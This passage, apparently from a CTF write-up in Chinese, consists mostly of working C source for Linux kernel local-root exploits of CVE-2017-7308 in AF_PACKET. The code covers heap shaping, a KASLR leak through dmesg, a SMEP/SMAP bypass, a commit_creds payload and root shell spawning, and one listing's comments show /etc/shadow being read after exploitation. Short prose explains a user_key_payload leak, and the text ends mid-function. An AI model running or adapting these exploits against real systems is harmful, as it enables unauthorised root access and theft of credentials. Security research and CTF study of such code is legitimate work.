sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}

void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}

packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
#define SLAB_SIZE 0x4000

int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
SLAB_SIZE - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(SLAB_SIZE, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);
printf("oob setup finished\\n");
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}

char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));

struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;

oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

sleep(1);
}

void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);

int ps[32];

int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();

char buffer[2048];
memset(&buffer[0], 0, 2048);

void **xmit = (void **)&buffer[64];
*xmit = func;

oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

printf("oob write finished\\n");

for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
packet_socket_setup(SLAB_SIZE, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
);
}

// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr() {
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}

size = (size / getpagesize() + 1) * getpagesize();
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}

const char *needle1 = "Freeing SMP";
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\\n", needle1);
exit(EXIT_FAILURE);
}

for (size = 0; substr[size] != '\\n'; size++);

const char *needle2 = "ffff";
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\\n", needle2);
exit(EXIT_FAILURE);
}

char *endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);

r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;

return r;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
char *shell = "/bin/sh";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}

void fork_shell() {
pid_t rv;

rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}

if (rv == 0) {
exec_shell();
}
}

bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return true;
close(fd);
return true;
}

void check_root() {
printf("[.] checking if we got root\\n");

if (!is_root()) {
printf("[-] something went wrong =(\\n");
return;
}

printf("[+] got r00t ^_^\\n");

// Fork and exec instead of just doing the exec to avoid potential
// memory corruptions when closing packet sockets.
fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}

void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}

cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}

if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}

int main() {
printf("[.] starting\\n");

setup_sandbox();

printf("[.] namespace sandbox set up\\n");

#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\\n");
KERNEL_BASE = get_kernel_addr();
printf("[.] done, kernel text: %lx\\n", KERNEL_BASE);
#endif

printf("[.] commit_creds: %lx\\n", KERNEL_BASE + COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\\n", KERNEL_BASE + PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] native_write_cr4: %lx\\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif

printf("[.] padding heap\\n");
kmalloc_pad(KMALLOC_PAD);
pagealloc_pad(PAGEALLOC_PAD);
printf("[.] done, heap is padded\\n");

#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] SMEP & SMAP bypass enabled, turning them off\\n");
getchar();
oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
printf("[.] done, SMEP & SMAP should be off now\\n");
#endif

printf("[.] executing get root payload %p\\n", &get_root_payload);
getchar();
oob_id_match_execute((void *)&get_root_payload);
printf("[.] done, should be root now\\n");

check_root();

while (1) sleep(1000);

return 0;
}

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/resource.h>

#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

#include <linux/xfrm.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <time.h>
#include <assert.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <keyutils.h>

#include <sys/uio.h>
#include <sys/prctl.h>

#define PAGESIZE 4096

#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024

void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
// specify using TPACKET_V3 version cause this vulnerability
// only impacts this verison
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size; // 0x1000
req.tp_frame_size = frame_size; // 0x1000
req.tp_block_nr = block_nr; // 0x1
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
// (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

// vulnerability happens in this system call
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
// create a AF_PACKET socket
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}

return s;
}

void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;

if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}

void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}

packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}

bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}

void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}

cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}

if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}

bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/root/flag", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}

void spray_fork(int num){
for (int i=0;i<num;i++){
pid_t pid;
pid = fork();
if(pid == -1){
perror("fork");
}
if(pid == 0){
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(1000);
while(1){
if( is_root() ){
sleep(5);
system("/bin/sh");
exit(0);
}
}
}
}
}

void spray_cred(){
pid_t pid;
char buffer[0x300];
memset(buffer,0, 0x110);
int s = oob_setup(0x4780-0x8);
spray_fork(3);

pid = fork();

if(pid == -1){
perror("fork");
}

if(pid == 0){
oob_write(buffer, 48);
sleep(1);
if(is_root()){
system("/bin/sh");
}
exit(0);
}
else{
wait(NULL);

}

}

int main (int argc, char **argv)
{
printf("[.] starting\\n");
setup_sandbox();
printf("[.] namespace sandbox set up\\n");
printf("[.] padding heap\\n");

spray_fork(0x150);
pagealloc_pad(PAGEALLOC_PAD);

spray_cred();

while (1)
{
sleep(1000);
}
return 1;
}

开启KALSR

出题人想要考察的就是kaslr状态下面的信息泄漏,只不过失误了。这里就需要一些特殊的结构体进行信息的泄漏了。我们看一下exp中给出的方法。

exp中使用了user_key_payload这个结构体来进行内存的泄漏。

1
2
3
4
5
6
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

也就是如果我们利用未开启kaslr中的堆喷射和堆溢出覆写datalen为一个很大的长度,那么在进行数据读取的时候就会泄漏出当前结构体之后的一些内容,在这些内容中也可能存在一些内核的地址。当然我们也可以在这个结构体之后分配一个包含有内核信息的结构体,做到如果有泄漏就一定有内核地址的程度。

但是由于user_key_payload这个结构体分配的时候是从kmalloc_256这个slab中分配的占用的是一个页面,因此有时候会发生ring_buffer之后的一个页面被其他slab申请的情况,也就是ring_buffer和kmalloc_256这个slab的freelist指向的页面不相邻,也就是会有写入失败的情况发生。不知道是怎么回事我在调试的时候一次都没有成功过,但是直接执行的话倒是可以成功。

泄漏的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// <https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308>
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/resource.h>

#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

#include <linux/xfrm.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <time.h>
#include <assert.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <keyutils.h>

#define PAGESIZE 4096

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \\n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \\n", ascii);
}
}
}
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
// specify using TPACKET_V3 version cause this vulnerability
// only impacts this verison
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size; // 0x1000
req.tp_frame_size = frame_size; // 0x1000
req.tp_block_nr = block_nr; // 0x1
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
// (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

// vulnerability happens in this system call
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
// create a AF_PACKET socket
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}

return s;
}

void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;

if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}

void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}

packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

int oob_setup_kaslr(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x1000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x1000, 0x200, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}

void pagealloc_pad_kaslr(int count) {
// kmalloc-256 uses 1 page slab
packet_socket_setup(0x1000, 0x200, count, 0, 100);
}

bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}

void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\\n", real_gid)) {
